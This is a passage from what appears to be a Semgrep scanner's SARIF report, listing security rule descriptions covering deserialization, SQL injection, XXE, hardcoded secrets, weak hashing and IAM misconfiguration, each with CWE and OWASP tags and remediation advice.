variables)"},"helpUri":"https://semgrep.dev/r/scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret","id":"scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret","name":"scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization."},"help":{"markdown":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization)\n - [https://swapneildash.medium.com/understanding-insecure-implementation-of-jackson-deserialization-7b3d409d2038](https://swapneildash.medium.com/understanding-insecure-implementation-of-jackson-deserialization-7b3d409d2038)\n - [https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062](https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062)\n - [https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/](https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/)\n","text":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization."},"helpUri":"https://semgrep.dev/r/java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","id":"java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","name":"java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A8:2017 Insecure Deserialization","OWASP-A8:2021 Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django","id":"python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django","name":"python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-jsonpickle-django.tainted-jsonpickle-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the MD4 hashing algorithm was identified which is considered insecure. MD4 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"help":{"markdown":"The use of the MD4 hashing algorithm was identified which is considered insecure. MD4 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the MD4 hashing algorithm was identified which is considered insecure. MD4 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4","id":"swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4","name":"swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-md4.insecure-hashing-algorithm-md4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that no IAM policies allow \"*\" as a statement's actions. This allows all actions to be performed on the specified resources, and is a violation of the principle of least privilege. Instead, specify the actions that a certain user or policy is allowed to take."},"help":{"markdown":"Ensure that no IAM policies allow \"*\" as a statement's actions. This allows all actions to be performed on the specified resources, and is a violation of the principle of least privilege. Instead, specify the actions that a certain user or policy is allowed to take.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/iam_policy](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/iam_policy)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/StarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/StarActionPolicyDocument.py)\n","text":"Ensure that no IAM policies allow \"*\" as a statement's actions. This allows all actions to be performed on the specified resources, and is a violation of the principle of least privilege. Instead, specify the actions that a certain user or policy is allowed to take."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions","id":"terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions","name":"terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-star-actions.no-iam-star-actions"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function."},"help":{"markdown":"Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage)\n - [https://docs.python.org/3/library/typing.html#typing.get_type_hints](https://docs.python.org/3/library/typing.html#typing.get_type_hints)\n","text":"Annotations passed to `typing.get_type_hints` are evaluated in `globals` and `locals` namespaces. Make sure that no arbitrary value can be written as the annotation and passed to `typing.get_type_hints` function."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage","id":"python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage","name":"python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.dangerous-annotations-usage.dangerous-annotations-usage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'."},"help":{"markdown":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","id":"java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","name":"java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection","properties":{"precision":"very-high","tags":["CWE-297: Improper Validation of Certificate with Host Mismatch","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a user-controlled `filename` that could flow to `flask.send_file()` function. This could lead to an attacker reading arbitrary file from the system, leaking private information. Make sure to properly sanitize filename or use `flask.send_from_directory`"},"help":{"markdown":"Detected a user-controlled `filename` that could flow to `flask.send_file()` function. This could lead to an attacker reading arbitrary file from the system, leaking private information. Make sure to properly sanitize filename or use `flask.send_from_directory`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Detected a user-controlled `filename` that could flow to `flask.send_file()` function. This could lead to an attacker reading arbitrary file from the system, leaking private information. Make sure to properly sanitize filename or use `flask.send_from_directory`"},"helpUri":"https://semgrep.dev/r/python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization","id":"python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization","name":"python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization","properties":{"precision":"very-high","tags":["CWE-73: External Control of File Name or Path","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.secure-static-file-serve.avoid_send_file_without_path_sanitization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-sqli.spring-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a string argument from a public method contract in a raw SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-sqli.spring-sqli","id":"java.spring.security.audit.spring-sqli.spring-sqli","name":"java.spring.security.audit.spring-sqli.spring-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-sqli.spring-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration lowers the minimum TLS version requirement for one or more domains. This potentially reduces the efficacy of the transport layer security, allowing for older, more vulnerable versions of TLS to be utilized."},"help":{"markdown":"The application's App Transport Security (ATS) configuration lowers the minimum TLS version requirement for one or more domains. This potentially reduces the efficacy of the transport layer security, allowing for older, more vulnerable versions of TLS to be utilized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration lowers the minimum TLS version requirement for one or more domains. This potentially reduces the efficacy of the transport layer security, allowing for older, more vulnerable versions of TLS to be utilized."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version","id":"swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version","name":"swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version","properties":{"precision":"very-high","tags":["CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-tls.ATS-minimum-tls-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint","id":"go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint","name":"go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pg-sqli-taint.grpc-pg-sqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","id":"java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","name":"java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx](https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx)\n - [https://lxml.de/parsing.html](https://lxml.de/parsing.html)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml","id":"python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml","name":"python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-lxml.tainted-fastapi-xml-lxml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","id":"kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","name":"kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.crypto.hardcoded-secret-key-spec.hardcoded-secret-key-spec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Do not set FLASK_ENV to \"development\" since that sets `debug=True` in Flask. Use \"dev\" or a similar term instead."},"help":{"markdown":"Do not set FLASK_ENV to \"development\" since that sets `debug=True` in Flask. Use \"dev\" or a similar term instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.env.flask-debugging-enabled.flask-debugging-enabled)\n - [https://flask.palletsprojects.com/en/2.0.x/debugging/](https://flask.palletsprojects.com/en/2.0.x/debugging/)\n - [https://flask.palletsprojects.com/en/2.0.x/config/#ENV](https://flask.palletsprojects.com/en/2.0.x/config/#ENV)\n","text":"Do not set FLASK_ENV to \"development\" since that sets `debug=True` in Flask. Use \"dev\" or a similar term 